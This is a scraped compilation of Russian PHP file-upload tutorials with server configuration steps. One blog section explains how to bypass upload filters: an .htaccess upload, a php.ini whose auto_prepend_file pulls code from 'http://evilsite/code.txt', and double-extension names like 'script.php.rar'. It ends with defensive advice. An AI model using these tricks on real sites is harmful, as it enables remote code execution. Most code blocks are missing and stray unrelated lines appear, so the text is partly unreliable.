Upload файлов. Возможности. Примеры. Настройка сервера.


Содержание

Загрузка файлов на сервер PHP с помощью самого простого функционала

Дата публикации: 2020-02-23

От автора: у меня на компьютере творится полнейший бардак! Жена позабивала винт всякими «чемоданами без ручек», какими-то непонятными программами. Кроме этого накачала уйму книг по кулинарии, цветоводству и о том, как узнать о неверности мужа. Из-за последней категории литературы я и боюсь что-то удалять. Вот решил все ее дамские файловые «фичи» закинуть куда-нибудь в онлайн. Получается, что загрузка файлов на сервер PHP актуальна не только для вас, но и для меня .

Зачем нам серверное пространство?

Не думаю, что такой вопрос может возникнуть у кого-то. Но всякое бывает! Скажу только, что различные решения для загрузки чего-либо на серверное пространство востребованы в сфере сайтостроения. Благо, за примерами бегать далеко не надо.

Все мы являемся пользователями той или иной социалки. Паутинки этих «липких» сетей окутали, затронули всех и каждого. Чтобы загрузить в свой профиль фотки с отдыха, с семейного торжества и другие доказательства успешной жизни, используется загрузка файлов на сервер через PHP.

Кроме этого подобный функционал реализован и на обычных сайтах с поддержкой комментариев. Пользователю предоставляется возможность украсить свой аккаунт аватаркой, выделяющей его среди остальной аудитории. В общем, по всей Сети на серверное пространство грузят все и каждый.

Проще не бывает!

Любое программное решение можно «обвешать» стольким количеством дополнительного функционала, что порой автор и сам забывает, какая из функций программы является основной.

Как создать сайт самому?

Какие технологии и знания необходимы сегодня, чтобы создавать сайты самостоятельно? Узнайте на интенсиве!

Но мы постараемся так не закапываться. Рассмотрим основы PHP загрузки файла на сервер на примере, который не «отяжелен» различными фичами. То есть это будет просто загрузчик.

Загрузка файлов методом POST

Данная возможность позволяет загружать как текстовые, так и бинарные файлы. С помощью PHP-функций авторизации и манипуляции файлами вы получаете полный контроль над тем, кому разрешено загружать файлы и что должно быть сделано после их загрузки.

PHP способен получать загруженные файлы из любого браузера, совместимого со стандартом RFC-1867.

Замечание: Смежные замечания по конфигурации

Также ознакомьтесь с описанием директив file_uploads, upload_max_filesize, upload_tmp_dir, post_max_size и max_input_time конфигурационного файла php.ini

Также следует заметить, что PHP поддерживает загрузку файлов методом PUT, который используется в клиентах Netscape Composer и W3C Amaya . Для получения более детальной документации обратитесь к разделу поддержка метода PUT

Пример #1 Форма для загрузки файлов

Страница для загрузки файлов может быть реализована при помощи специальной формы, которая выглядит примерно так:

В приведенном выше примере __URL__ необходимо заменить ссылкой на PHP-скрипт.

Скрытое поле MAX_FILE_SIZE (значение необходимо указывать в байтах) должно предшествовать полю для выбора файла, и его значение является максимально допустимым размером принимаемого файла в PHP. Рекомендуется всегда использовать эту переменную, так как она предотвращает тревожное ожидание пользователей при передаче огромных файлов, только для того, чтобы узнать, что файл слишком большой и передача фактически не состоялась. Помните, обойти это ограничение на стороне браузера достаточно просто, следовательно, вы не должны полагаться на то, что все файлы большего размера будут блокированы при помощи этой возможности. Это по большей части удобная возможность для пользователей клиентской части вашего приложения. Тем не менее, настройки PHP (на сервере) касательно максимального размера обойти невозможно.

Также следует убедиться, что в атрибутах формы вы указали enctype=»multipart/form-data», в противном случае загрузка файлов на сервер выполняться не будет.

Глобальный массив $_FILES содержит всю информацию о загруженных файлах. Его содержимое для нашего примера приводится ниже. Обратите внимание, что здесь предполагается использование имени userfile для поля выбора файла, как и в приведенном выше примере. На самом деле имя поля может быть любым. $_FILES[‘userfile’][‘name’]

Оригинальное имя файла на компьютере клиента.

Mime-тип файла, в случае, если браузер предоставил такую информацию. Пример: «image/gif». Этот mime-тип не проверяется в PHP, так что не полагайтесь на его значение без проверки.

Размер в байтах принятого файла.

Временное имя, с которым принятый файл был сохранен на сервере.

Код ошибки, которая может возникнуть при загрузке файла.

По умолчанию принятые файлы сохраняются на сервере в стандартной временной папке до тех пор, пока не будет задана другая директория при помощи директивы upload_tmp_dir конфигурационного файла php.ini . Директорию сервера по умолчанию можно сменить, установив переменную TMPDIR для окружения, в котором выполняется PHP. Установка этой переменной при помощи функции putenv() внутри PHP-скрипта работать не будет. Эта переменная окружения также может использоваться для того, чтобы удостовериться, что другие операции также работают с принятыми файлами.

Пример #2 Проверка загружаемых на сервер файлов

Для получения более детальной информации вы можете ознакомиться с описанием функций is_uploaded_file() и move_uploaded_file() . Следующий пример принимает и обрабатывает загруженный при помощи формы файл.

// В PHP 4.1.0 и более ранних версиях следует использовать $HTTP_POST_FILES
// вместо $_FILES.

$uploaddir = ‘/var/www/uploads/’ ;
$uploadfile = $uploaddir . basename ( $_FILES [ ‘userfile’ ][ ‘name’ ]);

PHP-скрипт, принимающий загруженный файл, должен реализовывать логику, необходимую для определения дальнейших действий над принятым файлом. Например, вы можете проверить переменную $_FILES[‘userfile’][‘size’] , чтобы отсечь слишком большие или слишком маленькие файлы. Также вы можете использовать переменную $_FILES[‘userfile’][‘type’] для исключения файлов, которые не удовлетворяют критерию касательно типа файла, однако, принимайте во внимание, что это поле полностью контролируется клиентом, используйте его только в качестве первой из серии проверок. Также вы можете использовать $_FILES[‘userfile’][‘error’] и коды ошибок при реализации вашей логики. Независимо от того, какую модель поведения вы выбрали, вы должны удалить файл из временной папки или переместить его в другую директорию.

В случае, если при отправке формы файл выбран не был, PHP установит переменную $_FILES[‘userfile’][‘size’] значением 0, а переменную $_FILES[‘userfile’][‘tmp_name’] — пустой строкой. none.

По окончанию работы скрипта, в случае, если принятый файл не был переименован или перемещен, он будет автоматически удален из временной папки.

Пример #3 Загрузка массива файлов

PHP поддерживает возможность передачи массива из HTML в том числе и с файлами.

Полоса прогресса загрузки файлов может быть реализована с помощью «отслеживания прогресса загрузки файлов с помощью сессий».

Загрузка файлов с помощью PHP на сервер

Что может быть общего у фотографий, находящихся в онлайн-фотоальбоме, прикреплённых к электронному письму или у файлов, представленных в онлайн-приложении для пакетной обработки? Всех их необходимо загрузить на сервер через интернет из веб-браузера. Действительно, загрузка файлов является важной особенностью многих сайтов и веб-приложений, которые мы используем ежедневно. Из этой статьи вы узнаете, как добавить к себе на сайт поддержку загрузки файлов используя для этого PHP.

Требования перед загрузкой файлов

Обработка загружаемых файлов — стандартный процесс, но существует несколько мелочей, на которые необходимо обратить внимание перед началом работы. Первое, в чем нужно удостовериться, что PHP настроен и позволяет загружать файлы. Для этого в php.ini стоит проверить директиву file_uploads , и, если она выключена, то включить.

Загружаемые файлы сначала сохраняются во временном каталоге (но не волнуйтесь . ваш PHP-скрипт впоследствии может переместить файлы в более подходящее место). Исходное местоположение является временным каталогом для системы по умолчанию. Вы можете указать другой каталог, используя директиву upload_tmp_dir в php.ini. Независимо от этого, будет не лишним проверить, что процесс PHP имеет правильные права на запись в зависимости от используемого каталога.

После того, как вы уверены, что конфигурация позволяет серверу принимать загруженные файлы, вы можете сосредоточить свое внимание на деталях и добавить HTML форму. Крайне важно, чтобы ваш элемент

Стоит отметить, что разные браузеры будут визуализировать поле загрузки файла по-разному. IE, Firefox и Opera отображают его как текстовое поле с кнопкой рядом с ней надписью «Обзор» или «Выбрать». Safari отображает ее так же, как кнопку с надписью: «Выбрать файл». По большому счету это не проблема с тех пор, как пользователи привыкли к тому, как поле отображается в своем браузере и умеют его использовать. Иногда, однако, вы столкнетесь с клиентом или дизайнером, который непреклонно представляет его определенным образом. Количество CSS и JavaScript, которые могут применяться к файловому полю, крайне ограничено из-за соображений о безопасности, наложенных браузерами. Типизация файла может быть затруднена. Если внешний вид очень важен для вас, я рекомендую вам прочитать одну из статей «Питер-Пол Кох» типа ввода = «файл» .

Переходим на сервере и работаем с PHP

Информация о загрузке файла предоставляется с помощью многомерного массива $_FILES . Этот массив обладает своей структурой, назначенными именами для полей файла в форме HTML, точно так же, как и при работе с $_GET и $_POST . Затем массив каждого файла содержит следующие элементы:

  • $_FILES[«myFile»][«name»] — хранит исходное имя файла;
  • $_FILES[«myFile»][«type»] — сохраняет mime-типа файла;
  • $_FILES[«myFile»][«size»] — сохраняет размер файла (в байтах);
  • $_FILES[«myFile»][«tmp_name»] — хранит имя временного файла;
  • $_FILES[«myFile»][«error»] — хранит код ошибки, полученный в результате передачи.

При помощи функции move_uploaded_file() мы можем перенести файл из своего временного каталога в постоянное место. Так же хорошей практикой является использовать именно её вместо copy() и rename() для этой цели, поскольку она выполняет дополнительные проверки, чтобы гарантировать, что файл был действительно загружен запросом HTTP методом POST.

Если вы собираетесь сохранить файл с исходным именем, предоставленным пользователем, рекомендуется убедиться, что это безопасно. Имя файла не должно содержать символов, которые могут повлиять на путь назначения, например, косая черта (слэш). Имя файла должно быть уникальным, чтоб избежать затирания существующих с тем же именем (если это не предусматривается вашим приложением). Гарантировать это можно заменяя любые символы символом подчеркивания, который не является буквой, а затем добавляя увеличивающийся номер, если файл с таким именем уже существует.

Вот так как выглядит получение и обработка загрузки файла при помощи PHP:

Сначала мы удостоверяемся, что PHP загрузка файла на сервер прошла без ошибок. Затем определяем безопасное имя файла, как я только что описал выше, а затем перемещаем файл в его конечный каталог с помощью move_uploaded_file() . И наконец делаем вызов chmod() , чтобы убедиться, что в новом файле установлены необходимые права доступа.

Вопросы безопасности

Вы бы позволили совершенно незнакомым людям хранить файлы на наших персональных компьютерах? Не думаю так, и все же это именно то, что вы делаете, когда разрешаете загрузку файлов в вашем приложении. Вы можете намереваться загрузить изображение пользователя для страницы профиля, но что, если он попытается загрузить специально созданный, наполненный вирусами исполняемый файл? Я хотел бы поделиться несколькими шагами, которые вы можете предпринять, чтобы минимизировать риски безопасности, связанные с возможностью загрузки файлов.

Один из них заключается в том, чтобы проверить тип загружаемого файла, каким он должен быть. Опираться на значение $_FILES[«myFile»][«type»] или на расширение имени файла не является безопасным, поскольку оба могут легко подделываться. Скорее, используйте функцию exif_imagetype() , чтобы проверить содержимое файла и определить, действительно ли это GIF, JPEG или один из нескольких других поддерживаемых форматов изображений. Если exif_imagetype() недоступен (функция требует, чтобы расширение Exif было включено), вы можете использовать getimagesize() . Массив, возвращаемый ей, будет содержать тип изображения, если он распознан.

Для файлов без изображения вы можете использовать exec() для вызова утилиты файлов unix. он определяет тип файла, ища известные двоичные подписи в ожидаемых местах.

Еще один шаг, который вы можете предпринять, — наложить жесткие ограничения на общий размер запроса POST и количество файлов, которые можно загрузить. Для этого укажите соответствующее значение для директив upload_max_size , post_max_size и max_file_uploads в php.ini. Директива upload_max_size указывает максимальный размер загрузки файла. В дополнение к размеру загрузки вы можете ограничить размер всего запроса POST директивой post_max_size . max_file_uploads — это новая директива (добавлена в версии 5.2.12), которая ограничивает количество загрузок файлов. Эти три директивы помогают защитить ваш сайт от атак, которые пытаются нарушить его доступность, вызывая интенсивный сетевой трафик или загрузку системы.

Третий шаг, который вы можете предпринять для минимизации риска, — это сканирование загруженных файлов с помощью антивирусного сканера. Это жизненно важно для защиты от распространённых вирусов и вредоносных программ, особенно если ваш сайт осуществляет файлообмен между разными людьми, как пример — вложения в веб-почтовый клиент или (юридический) сайт для обмена файлами. Существует расширение PHP, которое обеспечивает доступ к ClamAV , но, конечно, вы можете вызвать утилиту командной строки ClamAV так же, как я продемонстрировал для файла.

Подводим итоги и делаем выводы

Сегодня вы узнали, как происходит настройка и осуществляется процесс PHP загрузки файлов на сервер с вашего сайта или веб-приложения. Чтобы загрузка была успешной, форма HTML должна быть отправлена через запрос POST с множественным форматированием данных, а PHP должен разрешать передачу, как указано, с помощью директивы file_uploads . После переноса файла, сценарий, ответственный за обработку загрузки, использует информацию, найденную в массиве $_FILES , чтобы переместить файл из временного каталога в нужное место. Я также поделился некоторыми дополнительными мерами предосторожности, которые вы можете предпринять, чтобы защитить себя и своих пользователей от некоторых рисков, связанных с возможностью загрузки файлов. Чтобы гарантировать свою безопасность — проверяйте тип файла, наложите жесткие ограничения на загрузку трафика и применяйте сканирование на наличие вирусов.

Для тех, кто может быть заинтересован, дополнительный код для этой статьи доступен на GitHub . Вы можете просматривать, загружать или клонировать репозиторий и играть с кодом, чтобы лучше понять, как работает процесс загрузки файлов.

Максимальный размер загружаемого файла PHP

Данная статья посвящена настройке максимального размера файла в PHPMyAdmin и максимальному размеру php-запроса, обрабатываемого интерпретатором, на OpenVZ VPS и Xen VPS. Как многим известно, СУБД PHPMyAdmin написана на языке PHP, поэтому мы будем производить изменения в конфигурационных файлах интерпретатора PHP.

Содержание

Настройка с помощью SSH/SFTP

Для изменения размера загружаемого файла мы будем редактировать файл php.ini
Он находится в директории /etc/php5/apache2/php.ini для дистрибутивов Debian/Ubuntu, либо /etc/php.ini (/etc/httpd/conf.d/php.conf) для CentOS/Fedora.
Для редактирования файла php.ini необходимо иметь привилегии root пользователя. При подключении с помощью SSH Вы можете использовать консольный редактор nano.
Нас интересуют параметры post_max_size и upload_max_filesize. Устанавливаем параметры по размеру файла необходимого для загрузки. К примеру:

Обратите внимание, параметр upload_max_filesize не должен быть больше post_max_size, что позволит лучше обрабатывать Ваши запросы на загрузку файлов.

После редактирования php.ini необходимо перезапустить веб-сервер.
Для этого выполните команду от имени root пользователя :

Проверяем максимальный размер загружаемого файла:

ISPManager

При использовании контрольной панели ISP manager, Вам необходимо выполнить следующие действия:

  1. Войти под пользователем root.
  2. Настройки web-сервера -> PHP -> Выбрать версию PHP -> Настройка
  • Сменить значения «post_max_size» и «upload_max_filesize» на необходимое и нажать «ОК».
  • Илон Маск рекомендует:  Log10 - Функция Delphi

    DirectAdmin

    В контрольной панели DirectAdmin отсутствует возможность редактирования размера загружаемого файла в веб интерфейсе. Для КП DirectAdmin производить настройки необходимо с помощью ssh либо sftp протокола по инструкции выше.

    Однако в DirectAdmin существует возможность конфигурирования файла php.ini для каждого пользователя в отдельности. Будут приведены примеры команд, которые необходимо выполнять при подключении к ВПС по SSH.

    Для этого необходимо:

    Создать директорию

    Войти под пользователем root. Необходимо создать директорию php в /usr/local/directadmin/data/users/user/:

    и положить в нее файл php.ini:

    Путь к файлу php.ini, будет иметь такой вид:

    Отредактировать конфигурационный файл httpd.conf

    Открыть конфигурационный файл веб-сервера Apache2 httpd.conf

    В секции, где описан пользователь user, нужно добавить такую строчку:

    В случае, если вы хотите, что бы пользователь мог самостоятельно редактировать файл php.ini, Вам необходимо его разместить в папке public_html и в соответствии с её расположением модифицировать путь к файлу в файле httpd.conf.

    Перезапуск Apache

    Для применения настроек необходим перезапуск Apache:

    Также есть возможность перечитать директивы без перезапуска веб-сервера:

    WHM/cPanel


    1. Войти в WHM (администраторская часть cPanel)
    2. Перейти в раздел Main -> Server Configuration -> Tweak Settings, выбрать вкладку PHP.
    3. cPanel PHP max POST size и cPanel PHP max upload size выставить на необходимые значения
    4. Нажать «Save» внизу страницы.

    Webuzo

    1. Необходимо зайти в раздел Enduser Panel и перейти в меню Configuration > PHP.

    2. Редактируем значения параметров post_max_size и upload_max_filesize, после чего сохраняем изменения, нажав кнопку «Save».

    IntSystem.org

    Случаи из опыта разработки различных WEB проектов. Интересные факты, статьи, впечатления. Программирование и все о нем в сфере WEB.

    А как Вы загружаете файлы на сервер?

    «…или почему фильтрация по черному списку это плохо?»

    Представим обычную загрузку файлов с помощью php. Я думаю все с этим сталкивались. Отбросим извращенные варианты, типа хранения файлов в базе, их переименовывание и прочее. Возьмем именно обычную наипростейшую форму загрузки файлов.

    Обычно это форма на хтмл, затем серверная валидация по расширению загружаемого файла и последующий перенос загруженного файла из временной папки в папку загрузок. Отбросим все миллионы ошибок, которые совершают программисты в этих, казалось бы простейших, вещах, и посчитаем что этот функционал реализован грамотно и без ошибок.

    Встает вопрос, а как именно фильтровать расширения файлов? Существуют два варианта:

    • По белому списку — составляем список допустимых расширений файлов, а все остальные блокируем
    • По черному списку — составляем список блокируемых расширений, а все остальные загружаем

    Беда в том что для реализации фильтрации по белому списку нужно предусмотреть все возможные варианты нужных расширений которые будет загружать наш скрипт. И если для мест где необходимо загружать только картинки — все просто, то во многих других случаях прийдется составить довольно большой список легитимных расширений. Поэтому многим разработчикам кажется, что следует пойти от обратного, и запретить опасные расширения.

    И если в первом случае многие уверены, что будут залиты файлы только с требуемыми расширениями (в статье я расскажу вам как можно обойти и это), то вот во втором случае не все так просто.

    Эта статья о том чем плоха фильтрация по черному списку, и как этот фильтр можно обойти. А также приятным бонусом добавлю способ обхода фильтра по белому списку (и даже это возможно! о как!)

    Начнем мы с проблем фильтрации по черному списку.

    Куча расширений

    Первая проблема состоит в том, что апачем по дефолту (хотя может и не по дефолту, но по крайней мере очень часто) обрабатывается куча файлов с различными расширениями как php скрипты. Вы по-прежнему думаете что достаточно блокировать только «.php»? А вот фигушки, вот неполный список возможных расширений:

    Да, да, в некоторых конфигурациях апача «.html» может обрабатыватся как php скрипт.

    А еще мы же забыли про cgi, перл и прочие вкусняшки для хаккера. Да, обычно их запуск возможен только из папки «/cgi-bin», но кто знает, может быть именно ваш сервер сконфигурирован иначе…

    И достаточно упустить хоть одно расширение, и злоумышленник, при попытке взлома, наверняка попытается залить файл с таким расширением и затем его выполнить, что скорее всего приведет к полному взлому вашего сайта.

    Меняем конфиг под себя

    Ну все, админ оказался параноиком и добавил в фильтр все исполняемые расширения. Но, как говорится, на каждый хитрый болт найдется своя хитрая гайка. Ведь админу даже не подумалось добавить расширение «.htaccess» (если это конечно можно назвать расширением :D) в список фильтра.

    Пробуем загрузить файл с именнем «.htaccess» следующего содержания:

    И теперь в папке куда был загружен этот файл, все файлы с расширением «.doc» будут интерпетироваться как php скрипты и соответственно выполнятся. Осталось загрузить php скрипт с этим расширением и он будет успешно выполнен.

    Льем php.ini

    Допустим админ пошел дальше, и добавил в список расширение «.ht*» или допустим проверку на не пустое имя файла (это тоже не даст загрузить файл «.htaccess»).

    Не так давно я писал про интересную особенность связки php+cgi (и кстати fastcgi тоже): PHP и CGI. Обход ограничений безопасности

    Напомню содержание. Если php работает в указанной выше связке, то любой файл имеющий имя php.ini в любой папке будет менять локальные значения опций конфигурации php для этой папки. То есть говоря простым языком, создав файл php.ini в какой нибудь папке, мы можем применить свои настройки php для скриптов в этой папке.

    Для выполнения данной атаки мы должны иметь следующее стечение обстоятельств:

    • Php должен быть подключен через CGI
    • Папка куда загружаются файлы должен содержать хотябы один php скрипт (допустим index.php)
    • Фильтр не должен резать расширение .ini (то есть у нас должно получится загрузить файл php.ini)

    В php есть такая интересная опция, которая называется auto_prepend_file:

    Определяет имя файла, который будет автоматически обрабатываться перед основным файлом. Файл вызывается так, будто он был подключен при помощи функции require, так что include_path также используется.

    Если в двух словах, то перед каждым выполнением любого скрипта, будет исполнятся сначала скрипт указанный в «auto_prepend_file». Догадываетесь к чему я клоню?

    Интересно то, что можно указывать удаленный адрес файла на другом сервере, и это очень удобно. Льем такой файл php.ini:

    ; Включаем чтение удаленных файлов (это требует allow_url_include)
    allow_url_fopen=1

    ; Включаем возможность удаленного инклуда
    allow_url_include=1

    ; Подключаем «свой» скрипт со «злым» кодом
    auto_prepend_file= «http://evilsite/code.txt»

    Залили файл? Отлично! Теперь обращаемся к любому php скрипту который есть в дирректории куда заливаются все файлы (именно для этого я писал что нужен php скрипт в этой папке). При обращении к скрипту из этой папки в первую очередь будет выполнен файл указанный в auto_prepend_file.

    «Двойное» расширение

    «MIME-код — cправка, что ты не верблюд.»
    несмешная штука из журнала ][akep

    А вы знаете что каждый файл с каждым расширением имеет свой mime-тип? И когда вы скачиваете какой либо файл, то веб сервер говорит браузеру какой тип у данного файла. Этот mime-тип определяется апачем по расширению файла с помощью специальной таблицы соответствия. На основе определенного типа веб сервер может выполнять с данным файлом определенные действия, к примеру выполнить этот файл как php скрипт или perl скрипт или просто отдать его содержимое без обработки и т.д.

    Кстати в разделе про .htaccess мы добавляли свой mime тип для файлов doc, тем самым вынуждая веб сервер обрабатывать данные файлы как php скрипты. Но в общем речь не об этом.

    Дело в том что апач вообще «уникальный» веб сервер. Вроде бы логично проверить только расширение файла и успокоиться, верно? Но вот фиг! Если вдруг окажется что данного расширения нет среди зарегистрированного, то апач проверяет наличие точки в имени файле и выделяет второе расширение!! То есть mime тип будет определятся уже по части имени файла а не по его «классическому» расширению. И так пока не будет определен mime-тип, либо не закончатся «расширения» в имени файла.

    Так как мало кто знает о такой особенности, то именно этот способ дает возможность успешно обходить фильтры, как и по белому списку (в некоторых случаях) так и по черному списку (практически всегда). Для обхода белого списка нам необходимо найти допустимое к загрузке расширение, для которого mime тип не определен, обычно это расширение — «.rar» (Вот согласитесь, вы бы никогда не подумали бы что разрешив «.rar» к загрузке вы открываете огромную брешь в безопасности?).

    Берем некий скрипт, переименовываем его в «script.php.rar» и заливаем на сервер. И о чудо! Этот файл интерпретируется как php скрипт!

    Заметьте эта фишка апача опасна тем что это не совсем логичное поведение веб сервера, и мало кто о ней знает. И именно она позволяет обходить большое колличество фильтров.

    А как же защититься?

    В идеальном случае это конечно полностью переименовывать файл (включая расширение) в некий идентификатор, а информацию о файле хранить в БД. Затем, используя дополнительный обработчик, выдывать нужный файл и его данные по его идентификатору. Но этот способ плох тем что требует использование дополнительного обработчика.

    А вот способ с прямым сохранением файлов и последующей их отдачей только с помощью веб сервера, намного проще и менее ресурсоемок, хотя и более опасен. Для того чтобы сделать нормальную фильтрацию для этого способа, необходимо использовать: во-первых фильтрацию по белому списку, а во-вторых удалять/заменять все спецсимволы в имени файла (точки, слеши, нулбайты и проч).

    Как загрузить файл в PHP (с примером)

    В этой статье я расскажу об основах загрузки файлов в PHP. Во-первых, мы рассмотрим параметры конфигурации PHP, которые должны быть установлены для успешной загрузки файлов. После этого мы разработаем реальный пример загрузки файла.

    Настройка параметров PHP

    Существует несколько настроек конфигурации PHP, которые вам следует предварительно проверить для успешной загрузки файлов. В этом разделе мы рассмотрим все параметры, которые важны для загрузки файлов PHP. Эти параметры можно настроить в файле php.ini.

    Если вы не знаете, где найти файл php.ini, вы можете использовать php_ini_loaded_file() , чтобы найти его. Просто создайте файл PHP на своем сервере со следующей строкой и откройте его из браузера.

    Вот выдержка из установочного файла с некоторыми полезными значениями по умолчанию.

    Ключевые настройки

    file_uploads

    Значение директивы file_uploads должно быть установлено на On , чтобы разрешить загрузку файлов. Значение по умолчанию для этой директивы — On .

    upload_max_filesize

    Директива upload_max_filesize позволяет вам настроить максимальный размер загруженного файла. По умолчанию он установлен в 2M (два мегабайта), и вы можете переопределить этот параметр, используя файл .htaccess. Два мегабайта не очень соответствуют сегодняшним стандартам, поэтому вам, возможно, придется это увеличить. Если вы получите сообщение об ошибке — file exceeds upload_max_filesize при попытке загрузить файл, вам необходимо увеличить это значение. Если вы это сделаете, обязательно увеличьте post_max_size (см. ниже).

    upload_tmp_dir

    Устанавливает временный каталог, который будет использоваться для хранения загруженных файлов. В большинстве случаев вам не нужно беспокоиться об этой настройке. Если вы не установите его, будет использоваться системный временный каталог по умолчанию.

    post_max_size

    Директива post_max_size позволяет настроить максимальный размер данных POST. Поскольку файлы загружаются с помощью POST-запросов, это значение должно быть больше, чем указано в директиве upload_max_filesize . Например, если ваш upload_max_filesize составляет 16M (16 мегабайт), вам может потребоваться установить post_max_size в 20M .

    max_file_uploads

    Это позволяет вам установить максимальное количество файлов, которые могут быть загружены за раз. По умолчанию 20 , разумное количество.

    max_input_time

    Это максимальное количество секунд, которое скрипту разрешено анализировать входные данные. Вы должны установить его на разумное значение, если вы имеете дело с большими загрузками файлов. 60 (60 секунд) является хорошим показателем для большинства приложений.

    memory_limit

    Директива memory_limit указывает максимальный объем памяти, который может потреблять скрипт. Если вы сталкиваетесь с проблемами при загрузке больших файлов, вам необходимо убедиться, что значение этой директивы больше, чем указано в директиве post_max_size . Значение по умолчанию — 128M (128 мегабайт), поэтому, если у вас нет очень больших post_max_size и upload_max_filesize , вам не нужно беспокоиться об этом.

    max_execution_time

    Это максимальное количество секунд, разрешенное для работы скрипта. Если вы сталкиваетесь с проблемами при загрузке больших файлов, вы можете рассмотреть возможность увеличения этого значения. 30 (30 секунд) должны хорошо работать для большинства приложений.

    Теперь давайте построим реальный пример, чтобы продемонстрировать загрузку файлов в PHP.

    Создание формы HTML

    После того, как вы настроили параметры PHP, вы готовы испытать возможности загрузки файлов PHP.

    В нашем репозитории GitHub есть пример кода, который я собираюсь обсудить в этой статье. Итак, если вы хотите следовать ему, загрузите его из GitHub.

    Мы собираемся создать два файла PHP: index.php и upload.php. Файл index.php содержит код, который отвечает за отображение формы загрузки файла. С другой стороны, файл upload.php отвечает за загрузку файла на сервер.

    Кроме того, файл будет загружен в каталог uploaded_files, поэтому вам нужно убедиться, что эта папка существует и доступна для записи пользователем web-server .

    В этом разделе мы рассмотрим ключевые части файла index.php.

    Давайте посмотрим на файл index.php на GitHub:

    Хотя это может показаться типичной формой PHP, существует важное различие в значении атрибута enctype тега

    Загрузка файлов на сервер в PHP

    Наверняка, Вы часто загружали различные файлы на сайты. Например, загружали аватары на форуме, фотографии в социальных сетях, различные видеоролики на видеохостинги, просто файлы на файлообменники. И вот в этой статье Вы узнаете, как загрузить файлы на сервер в PHP. Именно через PHP в большинстве случаев это и реализуют.

    Первым делом, что нужно усвоить — это то, что сама HTML-форма, в которую подставляется файл должна быть не совсем обычной, вот пример HTML-кода такой формы:

    Ключевой момент здесь — это атрибут «enctype» со значением «multipart/form-data«. Без него ничего работать не будет.

    Теперь пишем скрипт «loading.php«, в котором мы ещё загружать файл не будем, а пройдёмся немного по различным важным моментам, которые надо обязательно учитывать, иначе может пострадать безопасность:


    В результате, Вы увидите содержимое глобального двумерного массива $_FILES:

    • name — имя загружаемого файла.
    • typeMIME-type загружаемого файла. Это, пожалуй, самый важный параметр для обеспечения безопасности. И всегда при приёме файлов необходимо проверять MIME-type, иначе проблем не оберётесь. В следующей статье мы поговорим об этом более детально.
    • tmp_name — физический путь к временному файлу. Именно в это место и помещается файл, а уже потом мы его переносим в другое место. Фактически, файл уже загружен, а нам лишь надо его переместить в нужную папку на сервере.
    • error — код ошибки. Если , то ошибок нет.
    • size — размер загружаемого файла. Вот это тоже частоиспользуемая опция, и её также надо проверять, чтобы ограничить размер загружаемых файлов. Безусловно, самим сервером этот размер ограничен, однако, для всяких картинок, этот размер явно завышен (как правило, он 10 МБ).

    И все эти параметры присутствуют для каждого загружаемого файла (каждые из которых представляют собой массив в двумерном массиве $_FILES).

    Теперь давайте уже закончим с загрузкой файлов на сервер в PHP, и для этого напишем такой код («loading.php«):

    То есть вначале мы задаём путь к загружаемому файлу на сервере. Здесь мы хотим поместить файл в директорию «images» с тем же именем, что и было раньше у файла. А функцией move_uploaded_file() мы перемещаем файл в выбранную нами директорию из его временного хранилища.

    Однако, обратите внимание, это очень важно! Так использовать код ни в коем случае нельзя, иначе Вашему сайту будет угрожать серьёзная опасность! Фактически, на данный момент может быть загружено абсолютно всё, что угодно: любые исполняемые файлы, скрипты, HTML-страницы и другие весьма опасные вещи. Поэтому обязательно надо проверять загружаемые файлы на сервер очень тщательно. И вот этим мы и займёмся в следующей статье. Поскольку тема очень важная, то я советую Вам подписаться на обновления, чтобы не пропустить эту статью.

    Илон Маск рекомендует:  Установка скриншотов в каталоге на движке cncat

    Копирование материалов разрешается только с указанием автора (Михаил Русаков) и индексируемой прямой ссылкой на сайт (http://myrusakov.ru)!

    Добавляйтесь ко мне в друзья ВКонтакте: http://vk.com/myrusakov.
    Если Вы хотите дать оценку мне и моей работе, то напишите её в моей группе: http://vk.com/rusakovmy.

    Если Вы не хотите пропустить новые материалы на сайте,
    то Вы можете подписаться на обновления: Подписаться на обновления

    Если у Вас остались какие-либо вопросы, либо у Вас есть желание высказаться по поводу этой статьи, то Вы можете оставить свой комментарий внизу страницы.

    Порекомендуйте эту статью друзьям:

    Если Вам понравился сайт, то разместите ссылку на него (у себя на сайте, на форуме, в контакте):

    Она выглядит вот так:

  • BB-код ссылки для форумов (например, можете поставить её в подписи):
  • Комментарии ( 62 ):

    У меня этот скрипт не работает! Неделю голову ломал. PHP говорит, что одно значение лишнее. Убирал каждое по очереди: в двух синтаксическая ошибка, в другой — просто ничего.

    Вот посмотри тут может яснее будет http://saitsozdanie.ru/php/php-zagruzka-fajlov-na-server.html

    а что прописывается в пункте [somename] и [tmp_name]?? в [name] пишется имя файла, что на форме?

    somename — это название поля с файлом в HTML-форме, а в tmp_name прописывается временный путь к файлу на сервере. Он генерируется самим PHP.

    тоесть [tmp_name] оставляем пустым или так и писать [tmp_name]? (Выберите фоновый рисунок: ) Здесь [somename]=path? а что пишется тогда в после [name]?

    — вот так, tmp_name нужен для того, чтобы потом можно было скопировать файл из этого временного пути в уже какую-то папку на сайте.

    ————— «; PRINT «Вас приветствует «.$_POST[‘firstname’]; PRINT «

    «; PRINT «Название статьи — «.$_POST[‘articlename’]; Print «

    «; $uploadfile = «images/».$_FILES[‘somename’][‘name’]; move_uploaded_file($_FILES[‘somename’][‘tmp_name’], $uploadfile); ?> вроде бы сделал все правильно, но ничего вообще не выводит.

    Учитесь искать ошибки самостоятельно: http://myrusakov.ru/php-finderror.html Это действительно очень важно! И на будущее. Ваши ошибки происходят от того, что Вы изначально неправильно работаете. Вот правильный подход к программированию: http://myrusakov.ru/how-programming.html

    Михаил, помогите с загрузкой нескольких файлов на сервер.

    Создайте несколько полей типа file, и берите все файлы из массива $_FILES.

    а как-то более красивше. ну скажем, нельзя же предусмотреть, сколько изображений клиент захочет загрузить. как работать с multiple?

    И так красиво. А поля можно добавлять по мере их заполнения через JavaScript.

    У Вас есть статья, как добавлять эти поля после заполнения верхних через яву?

    Через onclick можно и проверку value, если оно не пустое, то добавить ещё одно поле, иначе ничего не делать. Если знаете JS, то прекрасно меня поймёте. Если нет, то статей подобных у меня нет.

    Здравствуйте, у меня php выдает ошибки: [[ Warning: move_uploaded_file(images/img.png) [function.move-uploaded-file]: failed to open stream: No such file or directory in I:\home\test1.ru\www\loading.php on line 3 Warning: move_uploaded_file() [function.move-uploaded-file]: Unable to move ‘I:\tmp\phpF453.tmp’ to ‘images/img.png’ in I:\home\test1.ru\www\loading.php on line 3 ]]

